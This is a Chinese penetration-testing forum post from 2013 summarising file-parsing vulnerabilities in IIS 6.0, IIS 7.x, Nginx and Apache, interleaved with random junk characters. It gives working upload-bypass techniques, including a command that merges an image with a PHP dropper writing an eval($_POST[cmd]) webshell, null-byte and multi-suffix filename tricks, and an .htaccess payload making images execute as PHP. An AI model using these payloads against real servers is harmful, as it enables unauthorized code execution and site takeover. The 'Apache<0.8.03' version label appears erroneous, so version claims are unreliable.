中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
' a) Y3 D9 n, \
[+]IIS6.0
; T+ j6 U# j% ]# |1 p; r# \
& j% a) g: e; e! o& E
目录解析:/xx.asp/xx.jpg
3 _' F" c/ u- y% ~
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
2 B: ]( q. Z) i0 h( b
IIS6.0 会将 xx.jpg 解析为 asp 文件。
% l+ C6 R+ e! m4 H) a
后缀解析:/xx.asp;.jpg
7 R; [% l5 ^+ Q% `) C% Y
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
$ U1 F. c: f! |) c& F& w% n( S
默认解析:/xx.asa
+ W( W3 V& r7 T0 Y
/xx.cer
. h$ }: \6 K' } U/ K
/xx.cdx
6 A- s* p' V2 Q
IIS6.0 默认的可执行文件除了 asp 还包含这三种
- m3 s2 C# d: [ ~# q$ B
此处可联系利用目录解析漏洞
* u" `1 ~5 m# D/ O
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
; m, j' a0 y6 A' [1 J5 |& `& O
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
- j6 i, W. w2 U
) f8 G! L. b/ a/ y: W0 |) e9 E
IIS 7.0/IIS 7.5/Nginx <0.8.03
" g* Q4 L0 C5 e* I; h% t7 T8 |
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
- C" a$ t2 ?9 `* j8 C2 t
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
P3 H! y4 ?8 R- X0 E$ J! c" k
常用利用方法:
' l5 Y3 {- s" _* e: x m) l1 @' {
将一张图和一个写入后门代码的文本文件合并将恶意文本
W) Z/ A' g. ~9 k7 _
写入图片的二进制代码之后,避免破坏图片文件头和尾
0 u! ^0 M+ C& M: S
如:
! m8 C& w7 `$ l+ j3 m6 T
copy xx.jpg /b + yy.txt/a xy.jpg
1 ] w. T; ~5 {6 X+ M8 l) B( ?) Z
#########################################################
8 h& a+ W! g, ?, b2 `$ w
/b 即二进制[binary]模式
& e& y0 a& [# |6 _' o) x7 g5 f
/a 即ascii模式
9 W# x8 Q/ e8 q$ ]
xx.jpg 正常图片文件
' {% ^ v$ A/ v- S' ~
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
/ N4 M% E$ I! \1 j
'<?php eval($_POST[cmd])?>');?>
/ q* g2 l! L1 Z, o6 L/ f' W
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
6 l) y, h4 g7 V+ b$ u' H; v
为shell.php的文件
1 N9 M; c" Z& J0 ~% n0 N# C
###########################################################
1 e2 v2 K# K/ O" Q
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
+ }; Y4 m1 y/ s
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
( y% `* p4 I, l8 ^0 i
密码 cmd
$ R* _7 [# _. A7 ~' H* k
[+]Nginx <0.8.03
5 W+ x- N7 _4 g
0 @4 s( ~! n( D& o0 d
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
8 M, j9 O( w# { O8 a6 _6 Q% H6 e
在一个文件路径(/xx.jpg)后面加上%00.php
) ~* g3 W7 Z$ B( a5 ~
会将 /xx.jpg%00.php 解析为 php 文件。
1 ~( ?3 z$ l! P" [9 q
[+]Apache<0.8.03
* w; i7 R4 F# [
2 a5 x$ q+ z. Q f: x
后缀解析:test.php.x1.x2.x3
$ Q) U% Z' q s8 |4 m2 |4 x
Apache将从右至左开始判断后缀,若x3非可识别后缀,
) i E/ c0 v. v2 J4 c
再判断x2,直到找到可识别后缀为止,然后将该可识别
+ V5 q' E. }0 @ S
后缀进解析test.php.x1.x2.x3 则会被解析为php
' w, g6 N. _# ^: y: u1 c
经验之谈:php|php3|phtml 多可被Apache解析。
! Z- F, [) V+ M0 ~' O4 {4 Y
[+]其他一些可利用的
& T7 a. G* [7 }* O
+ ~# F2 C6 {+ b. B
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
& U1 H. }" L r2 K: O. l
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
9 V( F5 P. R2 Y, ?7 y. E% h
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
0 g. K3 O7 a m
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
1 M5 t" B6 Q. k" g$ R% }9 q
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
9 L6 j1 b4 K+ r- e' ], R* N
{Linux主机中不行,Linux允许这类文件存在}
6 `9 u& d3 { U7 ]8 V6 I, D
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
: {7 H/ g6 l* _4 [- Z
的,当初我并不知道),且可以被上传,那可以尝试在
$ D t! K9 V5 _/ r
.htaccess中写入:
* p+ H/ t; C( s0 X6 W; _
<FilesMatch “shell.jpg”>
3 T+ H% F, X, f d! m$ c
SetHandler application/x-httpd-php
: S2 T. u S/ E' P
</FilesMatch>
( u: E" L0 b" C% d2 x- V7 H* T# j
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
# J6 O$ u" a8 p" Z* E9 Z
[+]错误修改
) p8 R, L Y9 _* x! z7 s
v' q, @; V) t# A9 y: b, i
在 IIS 6.0 下可解析 /xx.asp:.jpg
* q: J( _# N' }; W
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
5 W! }3 u0 z* `4 x2 [9 ~ Z; q
剩下/xx.asp}修改:
8 [8 m1 [6 k2 o: a# B" t. N) [ W
先谢谢核攻击的提醒
. k+ h3 y# u2 k( {% |# L
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
! e; x, s- @1 M
里是没有任何内容的,因为。。不好解释 大家自己看
$ B5 m/ o" b# O+ d* {% h4 `5 {( r
http://lcx.cc/?i=2448
6 u* U& C- k" w- V
http://baike.baidu.com/view/3619593.htm
& I4 V4 q4 a. ~: `- |8 y
7 }' q, i( `0 g6 M) z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2